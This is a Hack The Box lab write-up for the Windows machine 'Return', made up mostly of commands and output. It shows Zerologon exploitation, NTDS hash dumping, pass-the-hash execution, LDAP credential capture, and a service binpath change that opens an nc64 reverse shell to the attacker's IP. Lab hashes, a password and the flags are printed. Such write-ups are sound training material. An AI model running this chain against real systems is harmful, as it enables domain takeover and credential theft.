> For the complete documentation index, see [llms.txt](https://truck-2-tech-security.gitbook.io/writeups-and-labs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://truck-2-tech-security.gitbook.io/writeups-and-labs/security-research/hackthebox/return-windows-easy.md). # Return (Windows Easy) ## Enumeration ### Nmap #### Initially just going to go through the box as normal ```bash ┌──(kali㉿kali)-[~] └─$ sudo nmap 10.129.95.241 Starting Nmap 7.95 ( ) at 2025-08-10 16:35 CDT Nmap scan report for 10.129.95.241 Host is up (0.054s latency). Not shown: 987 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 464/tcp open kpasswd5 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5985/tcp open wsman Nmap done: 1 IP address (1 host up) scanned in 1.10 seconds ``` ### NXC seeing if vulnerable to zerologon ```bash ┌──(kali㉿kali)-[~] └─$ nxc smb 10.129.95.241 -u '' -p '' -M zerologon /home/kali/.local/share/pipx/venvs/netexec/lib/python3.13/site-packages/masky/lib/smb.py:6: UserWarning: pkg_resources is deprecated as an API. See . The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using this package or pin to Setuptools<81. from pkg_resources import resource_filename SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) SMB 10.129.95.241 445 PRINTER [+] return.local\\: ZEROLOGON 10.129.95.241 445 PRINTER VULNERABLE ZEROLOGON 10.129.95.241 445 PRINTER Next step: ``` #### Continuing the exploit and using the CVE located here [GitHub - dirkjanm/CVE-2020-1472: PoC for Zerologon - all research credits go to Tom Tervoort of Secura](https://github.com/dirkjanm/CVE-2020-1472) #### I then run the exploit to change the account password to empty string ```bash ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ python3 cve-2020-1472-exploit.py PRINTER 10.129.95.241 Performing authentication attempts... ========================================== Target vulnerable, changing account password to empty string Result: 0 Exploit complete! ``` #### Using nxc to get the dump the ntds.dit ```bash ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ nxc smb 10.129.95.241 -u 'PRINTER$' -p '' --ntds --verbose [!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] y [16:43:42] INFO Socket info: host=10.129.95.241, hostname=10.129.95.241, kerberos=False, ipv6=False, link-local ipv6=False connection.py:169 INFO Creating SMBv3 connection to 10.129.95.241 smb.py:570 [16:43:43] INFO Creating SMBv1 connection to 10.129.95.241 smb.py:539 INFO SMBv1 disabled on 10.129.95.241 smb.py:562 INFO Error resolving hostname return.local: [Errno -2] Name or service not known connection.py:196 INFO Resolved domain: return.local with dns, kdcHost: None smb.py:292 SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) INFO Creating SMBv3 connection to 10.129.95.241 smb.py:570 SMB 10.129.95.241 445 PRINTER [+] return.local\\PRINTER$: SMB 10.129.95.241 445 PRINTER [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied SMB 10.129.95.241 445 PRINTER [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB 10.129.95.241 445 PRINTER [-] Cannot create "sessionresume_aTkwrIOb" resume session file: [Errno 13] Permission denied: 'sessionresume_aTkwrIOb' ``` #### Whoops! Need sudo privs ```bash ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ sudo !! ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ sudo nxc smb 10.129.95.241 -u 'PRINTER$' -p '' --ntds --verbose [!] Dumping the ntds can crash the DC on Windows Server 2019. Use the option --user to dump a specific user safely or the module -M ntdsutil [Y/n] y [16:43:59] INFO Socket info: host=10.129.95.241, hostname=10.129.95.241, kerberos=False, ipv6=False, link-local ipv6=False connection.py:165 INFO Creating SMBv3 connection to 10.129.95.241 smb.py:606 [16:44:00] INFO Creating SMBv1 connection to 10.129.95.241 smb.py:575 INFO SMBv1 disabled on 10.129.95.241 smb.py:598 INFO Error resolving hostname return.local: [Errno -2] Name or service not known connection.py:192 INFO Resolved domain: return.local with dns, kdcHost: None smb.py:321 SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) INFO Creating SMBv3 connection to 10.129.95.241 smb.py:606 SMB 10.129.95.241 445 PRINTER [+] return.local\\PRINTER$: SMB 10.129.95.241 445 PRINTER [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied SMB 10.129.95.241 445 PRINTER [+] Dumping the NTDS, this could take a while so go grab a redbull... SMB 10.129.95.241 445 PRINTER Administrator:500:aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460::: SMB 10.129.95.241 445 PRINTER Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.129.95.241 445 PRINTER krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e48ce125611add31a32cd79e529964b::: SMB 10.129.95.241 445 PRINTER return.local\\svc-printer:1103:aad3b435b51404eeaad3b435b51404ee:c1d26bdcecf44246b5f8653284331a2e::: SMB 10.129.95.241 445 PRINTER PRINTER$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: SMB 10.129.95.241 445 PRINTER [+] Dumped 5 NTDS hashes to /root/.nxc/logs/ntds/PRINTER_10.129.95.241_2025-08-10_164400.ntds of which 4 were added to the database SMB 10.129.95.241 445 PRINTER [*] To extract only enabled accounts from the output file, run the following command: SMB 10.129.95.241 445 PRINTER [*] cat /root/.nxc/logs/ntds/PRINTER_10.129.95.241_2025-08-10_164400.ntds | grep -iv disabled | cut -d ':' -f1 SMB 10.129.95.241 445 PRINTER [*] grep -iv disabled /root/.nxc/logs/ntds/PRINTER_10.129.95.241_2025-08-10_164400.ntds | cut -d ':' -f1 ``` ### Using NXC to run wmiexec and get the user and root flags (remember to specify -x “type filepath”) ```bash ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ nxc smb 10.129.95.241 -u Administrator -H 32db622ed9c00dd1039d8288b0407460 --exec-method wmiexec SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) SMB 10.129.95.241 445 PRINTER [+] return.local\\Administrator:32db622ed9c00dd1039d8288b0407460 (Pwn3d!) ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ sudo nxc smb 10.129.95.241 -u Administrator -H 32db622ed9c00dd1039d8288b0407460 --exec-method wmiexec SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) SMB 10.129.95.241 445 PRINTER [+] return.local\\Administrator:32db622ed9c00dd1039d8288b0407460 (Pwn3d!) ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ nxc smb 10.129.95.241 -u Administrator -H 32db622ed9c00dd1039d8288b0407460 -x "dir C:\\Users" SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) SMB 10.129.95.241 445 PRINTER [+] return.local\\Administrator:32db622ed9c00dd1039d8288b0407460 (Pwn3d!) SMB 10.129.95.241 445 PRINTER [+] Executed command via wmiexec SMB 10.129.95.241 445 PRINTER Volume in drive C has no label. SMB 10.129.95.241 445 PRINTER Volume Serial Number is 3A0C-428E SMB 10.129.95.241 445 PRINTER Directory of C:\\Users SMB 10.129.95.241 445 PRINTER 05/26/2021 01:51 AM . SMB 10.129.95.241 445 PRINTER 05/26/2021 01:51 AM .. SMB 10.129.95.241 445 PRINTER 09/27/2021 04:40 AM Administrator SMB 10.129.95.241 445 PRINTER 05/26/2021 01:50 AM Public SMB 10.129.95.241 445 PRINTER 05/26/2021 01:51 AM svc-printer SMB 10.129.95.241 445 PRINTER 0 File(s) 0 bytes SMB 10.129.95.241 445 PRINTER 5 Dir(s) 8,836,235,264 bytes free ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ nxc smb 10.129.95.241 -u Administrator -H 32db622ed9c00dd1039d8288b0407460 -x "type C:\\Users\\svc-printer\\Desktop\\user.txt" SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) SMB 10.129.95.241 445 PRINTER [+] return.local\\Administrator:32db622ed9c00dd1039d8288b0407460 (Pwn3d!) SMB 10.129.95.241 445 PRINTER [+] Executed command via wmiexec SMB 10.129.95.241 445 PRINTER ab97ed5f8604c0b955e8b2d491dab9d4 ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ nxc smb 10.129.95.241 -u Administrator -H 32db622ed9c00dd1039d8288b0407460 -x "type C:\\Users\\Administrator\\Desktop\\root.txt" SMB 10.129.95.241 445 PRINTER [*] Windows 10 / Server 2019 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False) SMB 10.129.95.241 445 PRINTER [+] return.local\\Administrator:32db622ed9c00dd1039d8288b0407460 (Pwn3d!) SMB 10.129.95.241 445 PRINTER [+] Executed command via wmiexec SMB 10.129.95.241 445 PRINTER 6a4c571bbaf2dd34fb8adadc942db6a1 ``` ### User.txt ```bash ab97ed5f8604c0b955e8b2d491dab9d4 ``` ## Privesc ### This isn’t the traditional way of getting the root flag, so the privesc was the same as getting user. ```bash 6a4c571bbaf2dd34fb8adadc942db6a1 ``` ## Intended method of pwning box ### Going to the IIS at the IP of the box, and then choosing the settings. ![Navigating to settings.php](/files/iBjjqsVmx6V8Po8WY0Th) #### Changing the Server Address to my tun0 interface, and having a NC listener running on 389 to catch the creds for the svc-printer account ![Adding the server address, port and starting the netcat listener next](/files/dSdgtCxQnIPghBCEKaw6) ```bash ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ sudo nc -lvnp 389 [sudo] password for kali: Sorry, try again. [sudo] password for kali: listening on [any] 389 ... connect to [10.10.14.13] from (UNKNOWN) [10.129.95.241] 56311 0*`%return\\svc-printer� 1edFg43012!! ``` #### From there I can log in using evil-winrm and get a shell as the service account ```bash ┌──(kali㉿kali)-[~/htb/CVE-2020-1472] └─$ evil-winrm -i 10.129.95.241 -u svc-printer -p '1edFg43012!!' Evil-WinRM shell v3.7 Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline Data: For more information, check Evil-WinRM GitHub: Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> whoami return\\svc-printer *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> cd C:\\Users\\svc-printer\\Desktop *Evil-WinRM* PS C:\\Users\\svc-printer\\Desktop> ls Directory: C:\\Users\\svc-printer\\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 8/10/2025 2:50 PM 34 user.txt *Evil-WinRM* PS C:\\Users\\svc-printer\\Desktop> cat user.txt ab97ed5f8604c0b955e8b2d491dab9d4 ``` #### Enumerating a bit more ```bash *Evil-WinRM* PS C:\\Users\\svc-printer\\Desktop> net user svc-printer User name svc-printer Full Name SVCPrinter Comment Service Account for Printer User's comment Country/region code 000 (System Default) Account active Yes Account expires Never Password last set 5/26/2021 1:15:13 AM Password expires Never Password changeable 5/27/2021 1:15:13 AM Password required Yes User may change password Yes Workstations allowed All Logon script User profile Home directory Last logon 5/26/2021 1:39:29 AM Logon hours allowed All Local Group Memberships *Print Operators *Remote Management Use *Server Operators Global Group memberships *Domain Users The command completed successfully. *Evil-WinRM* PS C:\\Users\\svc-printer\\Desktop> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= =================================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeLoadDriverPrivilege Load and unload device drivers Enabled SeSystemtimePrivilege Change the system time Enabled SeBackupPrivilege Back up files and directories Enabled SeRestorePrivilege Restore files and directories Enabled SeShutdownPrivilege Shut down the system Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeRemoteShutdownPrivilege Force shutdown from a remote system Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled SeTimeZonePrivilege Change the time zone Enabled *Evil-WinRM* PS C:\\Users\\svc-printer\\Desktop> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================== ================ ============ ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group BUILTIN\\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group BUILTIN\\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group BUILTIN\\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\\High Mandatory Level Label S-1-16-12288 ``` ### Privilege Escalation #### We are uploading nc64 and then changing a service to point to this, and then starting the service ```bash *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> upload nc64.exe Info: Uploading /home/kali/Downloads/nc64.exe to C:\\Users\\svc-printer\\Documents\\nc64.exe Data: 73728 bytes of 73728 bytes copied Info: Upload successful! *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe start VSS SERVICE_NAME: VSS TYPE : 10 WIN32_OWN_PROCESS STATE : 2 START_PENDING (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 PID : 2832 FLAGS : *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe config VSS binpath="C:\\windows\\system32\\cmd.exe /c C:\\programdata\\nc64.exe -e cmd 10.10.14.13 443" [SC] ChangeServiceConfig SUCCESS *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe start VSS [SC] StartService FAILED 1056: An instance of the service is already running. *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe stop VSS SERVICE_NAME: VSS TYPE : 10 WIN32_OWN_PROCESS STATE : 3 STOP_PENDING (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x0 *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe start VSS [SC] StartService FAILED 1053: The service did not respond to the start or control request in a timely fashion. *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe stop VSS [SC] ControlService FAILED 1062: The service has not been started. *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe config VSS binpath="C:\\windows\\system32\\cmd.exe /c C:\\Users\\svc-printer\\Documents\\nc64.exe -e cmd 10.10.14.13 443" [SC] ChangeServiceConfig SUCCESS *Evil-WinRM* PS C:\\Users\\svc-printer\\Documents> sc.exe start VSS ``` #### Grabbing the root flag ```bash ┌──(kali㉿kali)-[~/Downloads] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.13] from (UNKNOWN) [10.129.95.241] 63935 Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. C:\\Windows\\system32>whoami whoami nt authority\\system C:\\Users\\Administrator\\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 3A0C-428E Directory of C:\\Users\\Administrator\\Desktop 09/27/2021 04:22 AM . 09/27/2021 04:22 AM .. 08/10/2025 02:50 PM 34 root.txt 1 File(s) 34 bytes 2 Dir(s) 8,821,370,880 bytes free C:\\Users\\Administrator\\Desktop>type root.txt type root.txt 6a4c571bbaf2dd34fb8adadc942db6a1 ```